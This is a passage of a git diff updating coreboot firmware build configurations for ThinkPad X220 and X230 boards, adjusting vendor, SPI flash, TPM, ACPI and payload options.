CONFIG_XAPIC_ONLY=y CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y -CONFIG_LOGICAL_CPUS=y CONFIG_HAVE_SMI_HANDLER=y CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 CONFIG_SMP=y -CONFIG_MMX=y CONFIG_SSE=y CONFIG_SSE2=y CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y @@ -334,7 +342,6 @@ CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ACPI_MADT=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y @@ -382,9 +389,10 @@ CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y CONFIG_HAVE_EXP_X86_64_SUPPORT=y -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_NUM_IPI_STARTS=2 +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_POSTCAR_STAGE=y @@ -394,6 +402,7 @@ CONFIG_COLLECT_TIMESTAMPS_TSC=y CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set # end of Chipset # @@ -419,8 +428,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x04000000 CONFIG_PCI_ALLOW_BUS_MASTER=y @@ -441,10 +449,6 @@ CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_NO_DDR5=y -CONFIG_NO_LPDDR4=y -CONFIG_NO_DDR4=y -CONFIG_NO_DDR2=y CONFIG_USE_DDR3=y # end of Devices @@ -455,21 +459,18 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y # CONFIG_MRC_SETTINGS_PROTECT is not set -CONFIG_MRC_STASH_TO_CBMEM=y # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_NO_EARLY_WRITES=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y # CONFIG_SPI_FLASH_NO_FAST_READ is not set CONFIG_SPI_FLASH_ADESTO=y CONFIG_SPI_FLASH_AMIC=y CONFIG_SPI_FLASH_ATMEL=y CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_STMICRO=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_NO_UART_ON_SUPERIO=y @@ -486,9 +487,12 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_DRIVERS_I2C_MAX98396 is not set CONFIG_INTEL_INT15=y CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" CONFIG_GFX_GMA=y CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y -CONFIG_INTEL_GMA_OPREGION_2_0=y CONFIG_GFX_GMA_DYN_CPU=y CONFIG_GFX_GMA_GENERATION="Ironlake" CONFIG_GFX_GMA_PCH="Cougar_Point" @@ -498,6 +502,7 @@ CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_DRIVERS_MC146818=y CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y @@ -532,7 +537,12 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set CONFIG_TPM_LOG_CB=y +# CONFIG_TPM_LOG_TPM1 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module # @@ -555,6 +565,9 @@ CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y CONFIG_ACPI_HAVE_PCAT_8259=y CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y @@ -600,6 +613,7 @@ CONFIG_USE_WATCHDOG_ON_BOOT=y # CONFIG_GENERATE_SMBIOS_TABLES=y CONFIG_SMBIOS_PROVIDED_BY_MOBO=y +CONFIG_BIOS_VENDOR="coreboot" CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # end of System tables @@ -615,13 +629,12 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_LINUXBOOT is not set # CONFIG_PAYLOAD_SEABIOS is not set # CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_YABITS is not set # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -646,6 +659,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # @@ -659,7 +676,6 @@ CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_SMI is not set # CONFIG_DEBUG_MALLOC is not set # CONFIG_DEBUG_CONSOLE_INIT is not set # CONFIG_DEBUG_SPI_FLASH is not set @@ -667,6 +683,7 @@ CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_ADA_CODE is not set CONFIG_HAVE_EM100_SUPPORT=y # CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set # end of Debugging CONFIG_RAMSTAGE_ADA=y diff --git a/config/coreboot-x220.config b/config/coreboot-x220.config index ab43ccf3d..8527c866c 100644 --- a/config/coreboot-x220.config +++ b/config/coreboot-x220.config @@ -21,6 +21,7 @@ CONFIG_OPTION_BACKEND_NONE=y # CONFIG_USE_OPTION_TABLE is not set CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set @@ -64,6 +65,7 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set # CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set @@ -77,7 +79,9 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_GOOGLE is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_LIBRETREND is not set @@ -95,7 +99,6 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set # CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SCALEWAY is not set # CONFIG_VENDOR_SIEMENS is not set # CONFIG_VENDOR_SIFIVE is not set # CONFIG_VENDOR_STARLABS is not set @@ -121,7 +124,6 @@ CONFIG_MAX_CPUS=8 # CONFIG_ONBOARD_VGA_IS_PRIMARY is not set CONFIG_DEVICETREE="devicetree.cb" # CONFIG_VBOOT is not set -CONFIG_VBOOT_VBNV_OFFSET=0x2a CONFIG_VARIANT_DIR="x220" CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" # CONFIG_VGA_BIOS is not set @@ -134,14 +136,14 @@ CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_VBOOT_SLOTS_RW_A=y CONFIG_DCACHE_RAM_BASE=0xfefe0000 CONFIG_DCACHE_RAM_SIZE=0x20000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 @@ -152,6 +154,10 @@ CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx20/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx20/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx20/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad X220" CONFIG_HAVE_IFD_BIN=y CONFIG_PCIEXP_HOTPLUG_BUSES=8 @@ -198,9 +204,12 @@ CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="LEN0020" CONFIG_THINKPADEC_HKEY_EISAID="IBM0068" CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y # CONFIG_PCIEXP_L1_SUB_STATE is not set # CONFIG_PCIEXP_CLK_PM is not set # CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y @@ -245,27 +254,27 @@ CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_ACPI_CPU_STRING="\\_SB.CP%02X" +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 -CONFIG_CPU_SPECIFIC_OPTIONS=y CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 CONFIG_INTEL_GMA_BCLV_WIDTH=16 CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 CONFIG_INTEL_GMA_BCLM_WIDTH=16 CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_CBFS_CACHE_ALIGN=8 CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -286,12 +295,11 @@ CONFIG_XAPIC_ONLY=y CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y -CONFIG_LOGICAL_CPUS=y CONFIG_HAVE_SMI_HANDLER=y CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 CONFIG_SMP=y -CONFIG_MMX=y CONFIG_SSE=y CONFIG_SSE2=y CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y @@ -334,7 +342,6 @@ CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ACPI_MADT=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y @@ -382,9 +389,10 @@ CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y CONFIG_HAVE_EXP_X86_64_SUPPORT=y -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_NUM_IPI_STARTS=2 +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_POSTCAR_STAGE=y @@ -394,6 +402,7 @@ CONFIG_COLLECT_TIMESTAMPS_TSC=y CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set # end of Chipset # @@ -419,8 +428,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x04000000 CONFIG_PCI_ALLOW_BUS_MASTER=y @@ -441,10 +449,6 @@ CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_NO_DDR5=y -CONFIG_NO_LPDDR4=y -CONFIG_NO_DDR4=y -CONFIG_NO_DDR2=y CONFIG_USE_DDR3=y # end of Devices @@ -455,21 +459,18 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y # CONFIG_MRC_SETTINGS_PROTECT is not set -CONFIG_MRC_STASH_TO_CBMEM=y # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_NO_EARLY_WRITES=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y # CONFIG_SPI_FLASH_NO_FAST_READ is not set CONFIG_SPI_FLASH_ADESTO=y CONFIG_SPI_FLASH_AMIC=y CONFIG_SPI_FLASH_ATMEL=y CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_STMICRO=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_NO_UART_ON_SUPERIO=y @@ -486,9 +487,12 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_DRIVERS_I2C_MAX98396 is not set CONFIG_INTEL_INT15=y CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" CONFIG_GFX_GMA=y CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y -CONFIG_INTEL_GMA_OPREGION_2_0=y CONFIG_GFX_GMA_DYN_CPU=y CONFIG_GFX_GMA_GENERATION="Ironlake" CONFIG_GFX_GMA_PCH="Cougar_Point" @@ -498,6 +502,7 @@ CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_DRIVERS_MC146818=y CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y @@ -532,7 +537,12 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set CONFIG_TPM_LOG_CB=y +# CONFIG_TPM_LOG_TPM1 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module # @@ -555,6 +565,9 @@ CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y CONFIG_ACPI_HAVE_PCAT_8259=y CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y @@ -600,6 +613,7 @@ CONFIG_USE_WATCHDOG_ON_BOOT=y # CONFIG_GENERATE_SMBIOS_TABLES=y CONFIG_SMBIOS_PROVIDED_BY_MOBO=y +CONFIG_BIOS_VENDOR="coreboot" CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # end of System tables @@ -615,13 +629,12 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_LINUXBOOT is not set # CONFIG_PAYLOAD_SEABIOS is not set # CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_YABITS is not set # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -646,6 +659,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # @@ -659,7 +676,6 @@ CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_SMI is not set # CONFIG_DEBUG_MALLOC is not set # CONFIG_DEBUG_CONSOLE_INIT is not set # CONFIG_DEBUG_SPI_FLASH is not set @@ -667,6 +683,7 @@ CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_ADA_CODE is not set CONFIG_HAVE_EM100_SUPPORT=y # CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set # end of Debugging CONFIG_RAMSTAGE_ADA=y diff --git a/config/coreboot-x230-legacy-flash.config b/config/coreboot-x230-legacy-flash.config index a5ffd9eb1..53207fc8f 100644 --- a/config/coreboot-x230-legacy-flash.config +++ b/config/coreboot-x230-legacy-flash.config @@ -21,6 +21,7 @@ CONFIG_OPTION_BACKEND_NONE=y # CONFIG_USE_OPTION_TABLE is not set CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y CONFIG_TIMESTAMPS_ON_CONSOLE=y @@ -65,6 +66,7 @@ CONFIG_FW_CONFIG_SOURCE_CBFS=y # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set # CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set @@ -78,7 +80,9 @@ CONFIG_FW_CONFIG_SOURCE_CBFS=y # CONFIG_VENDOR_GOOGLE is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_LIBRETREND is not set @@ -96,7 +100,6 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set # CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SCALEWAY is not set # CONFIG_VENDOR_SIEMENS is not set # CONFIG_VENDOR_SIFIVE is not set # CONFIG_VENDOR_STARLABS is not set @@ -122,7 +125,6 @@ CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y CONFIG_DEVICETREE="devicetree.cb" # CONFIG_VBOOT is not set -CONFIG_VBOOT_VBNV_OFFSET=0x2a CONFIG_VARIANT_DIR="x230" CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" # CONFIG_VGA_BIOS is not set @@ -135,13 +137,13 @@ CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0xfefe0000 CONFIG_DCACHE_RAM_SIZE=0x20000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 @@ -149,6 +151,10 @@ CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y # CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad X230" # CONFIG_HAVE_IFD_BIN is not set CONFIG_PCIEXP_HOTPLUG_BUSES=8 @@ -196,9 +202,12 @@ CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="LEN0020" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y # CONFIG_PCIEXP_L1_SUB_STATE is not set # CONFIG_PCIEXP_CLK_PM is not set # CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y @@ -243,27 +252,27 @@ CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_ACPI_CPU_STRING="\\_SB.CP%02X" +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 -CONFIG_CPU_SPECIFIC_OPTIONS=y CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 CONFIG_INTEL_GMA_BCLV_WIDTH=16 CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 CONFIG_INTEL_GMA_BCLM_WIDTH=16 CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_COMMON_CLOCK=y 